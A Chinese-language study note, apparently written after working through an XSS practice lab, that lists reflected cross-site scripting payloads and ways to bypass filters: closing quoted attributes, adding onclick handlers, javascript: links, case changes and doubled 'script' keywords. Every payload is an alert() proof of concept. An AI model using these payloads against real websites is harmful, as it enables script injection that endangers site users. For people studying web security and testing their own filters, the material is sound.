对照教程闯了几关总结一下各种绕过方式
url传参注入
未对参数进行任何过滤的
payload:
<script>alert()</script>
<img src=1 onerror=alert()>
payload被引号包裹的
例如:<input name=keyword value="<script>alert()</script>">
方式一
闭合标签和字符串
先闭合引号,对于标签中不能包含script标签的,在闭合此标签
payload:
"><script>alert()</script>" (在最后加引号是因为引号总是成对出现的,这个引号是为了闭合原input标签中value属性值的最后一个引号)
方式二
向标签中添加属性和方法
先闭合引号,在向input标签中添加onclick方法和type属性,这样点击文本框时就可以执行代码。
payload:" onclick=alert() type="text" "
payload被更改的
如果网页对script和onclick对做了防范,
例如我们的payload为:"><script>alert()</script>"
注入到页面的效果为:<input name=keyword value="<scr_ipt>">
若选用向标签中添加onclick方法的方式,onclick会被更改为o_nclick
我们可以先屏蔽注入点初的标签,改用在页面中插入a标签
payload:
"><a href=javascript:alert()>这里是超链</a>
href值为javascript:是目的是为了防止链接跳转,这里可以利用一下来执行js代码
payload被更改但不要求大小写的
和刚刚一样,若我们的onclick注入到页面中被更改为o_nclick,我们可以更改一下大小写
payload:" Onclick=alert() type="text" "
清空payload关键字的
若我们的payload为
"><script>alert()</script>"
注入到页面的效果为
"><>alert()</>"
可以看到我们的关键字script被清楚,此时可以采用复写的防止绕过
在script中在插入一个script
payload:
"><scrscriptipt>alert()</sscriptcript>"
浏览器将script中插入的script清楚后,我们之前的script依然存在
输入到页面的效果为:"><script>alert()</script>"